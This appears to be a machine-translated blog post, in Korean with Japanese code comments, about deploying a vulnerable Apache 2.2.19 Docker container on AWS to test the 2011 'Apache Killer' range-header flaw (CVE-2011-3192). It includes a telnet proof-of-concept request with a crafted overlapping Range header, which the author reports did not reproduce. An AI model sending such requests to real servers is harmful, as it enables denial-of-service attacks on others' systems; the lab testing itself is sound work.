AWS에서 Apache Killer를 사용해보십시오.

개요



뭔가 틈새 시장에서 지금? 하지만 Apache Killer를 테스트하기 위한 Apache 2.2.19의 환경을 원한다는 요구가 있어서 AWS상에 Docker 컨테이너를 만들어 보았습니다.
Apache Killer란, 2011년에 공개된 Apache HTTP Server 존재하는 취약성(CVE-2011-3192)을 악용해 DDoS 공격을 하는 툴의 총칭이라고 합니다. 취약성이 아닌 툴의 총칭이었군요.

작업 내용



사전 준비



사전에 다음을 실시하고 있습니다.
· AWS 계정 생성
· 작업 기계 (kali)에 docker-machine을 설치

또, 사전 준비는 URL(※1)를 참고로 해 Docker 이미지를 작성해 DockerHub상에 Push 하고 있습니다.

Docker 컨테이너 만들기



AWS에의 Docker 컨테이너 작성은 URL(※2)를 참고로 했습니다.
먼저 작업 머신에서 aws-sandbox라는 EC2 인스턴스를 AWS에 생성합니다.
// アクセスキーの登録
$ mkdir ~/.aws
$ vi ~/.aws/credentials

[default]
aws_access_key_id = XXXXXXXXX
aws_secret_access_key = XXXXXXXX

// インスタンスの作成
$ docker-machine create --driver amazonec2 --amazonec2-open-port 8888 --amazonec2-region ap-northeast-1 aws-sandbox
  • AWS 관리 콘솔


  • 작업 머신에서 명령을 실행하고 인스턴스에서 Docker 이미지를 검색합니다.
    // 環境変数を設定
    $ eval $(docker-machine env aws-sandbox)
    
    // インスタンスを確認
    $ docker-machine ls
    NAME          ACTIVE   DRIVER      STATE     URL                       SWARM   DOCKER     ERRORS
    aws-sandbox   *        amazonec2   Running   tcp://54.95.XX.XXXX:2376           v19.03.8   
    
    // インスタンス上でDockerイメージを取得しコンテナを生成。
    $ docker $(docker-machine config aws-sandbox) run -d -p 8888:80 --name apachekiller stcmjp/cve-2011-3192:1.0
    

    인스턴스에 연결하면 Docker 컨테이너가 생성되었는지 확인할 수 있습니다. 생성 후 컨테이너는 즉시 정지하고 있습니다.
    // AWS上のインスタンスに接続
    $ docker-machine ssh aws-sandbox
    
    // コンテナの状態を確認
    $ sudo su -
    # docker images
    REPOSITORY             TAG                 IMAGE ID            CREATED             SIZE
    stcmjp/cve-2011-3192   1.0                 db5ddb6a43bb        14 hours ago        1.44GB
    # docker ps -a
    CONTAINER ID        IMAGE                      COMMAND             CREATED             STATUS                     PORTS               NAMES
    9ca518ad305c        stcmjp/cve-2011-3192:1.0   "/bin/bash"         8 minutes ago       Exited (0) 8 minutes ago                       apachekiller
    
    

    계속해서 인스턴스에서 컨테이너를 시작합니다.
    // コンテナを起動し接続
    # docker run -i -t -p 8888:80 -t stcmjp/cve-2011-3192:1.0 /bin/bash
    
    // Apacheの起動
    [root@b3230326486e /]# /etc/init.d/httpd start
    

    이제 작업 머신의 브라우저에서 http://54.95.XXX.XXX:8888/index.php 에 연결할 수 있습니다.



    취약성 검증



    준비가 끝난 곳에서 작업 머신으로부터 URL(※3)를 참고로 PoC를 시험해 봅니다.
  • 요청
  • # telnet 54.95.XXX.XXX 8888
    Trying 54.95.XXX.XXX...
    Connected to 54.95.XXX.XXX.
    Escape character is '^]'.
    GET /index.php HTTP/1.1
    Host: 54.95.XXX.XXX:8888
    Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-11,5-12,5-13,5-14,5-15,5-16,5-17,5-18,5-19,5-20,5-21,5-22,5-23,5-24,5-25,5-26,5-27,5-28,5-29,5-30
    
  • 응답
  • HTTP/1.1 200 OK
    Date: Sat, 11 Apr 2020 06:07:42 GMT
    Server: Apache/2.2.19 (Unix) mod_ssl/2.2.19 OpenSSL/1.0.1e-fips DAV/2 PHP/5.3.5
    X-Powered-By: PHP/5.3.5
    Transfer-Encoding: chunked
    Content-Type: text/html
    

    어라? 재현할 수 없습니다. orz
    취약점이 있는 경우 응답 코드가 HTTP/1.1 206 Partial Contet이 될 것입니다.
    시간이 생기면 자세히 조사해 보겠습니다.

    참고 URL


  • Docker 사용법 노트
  • docker docs
  • PoC
  • 좋은 웹페이지 즐겨찾기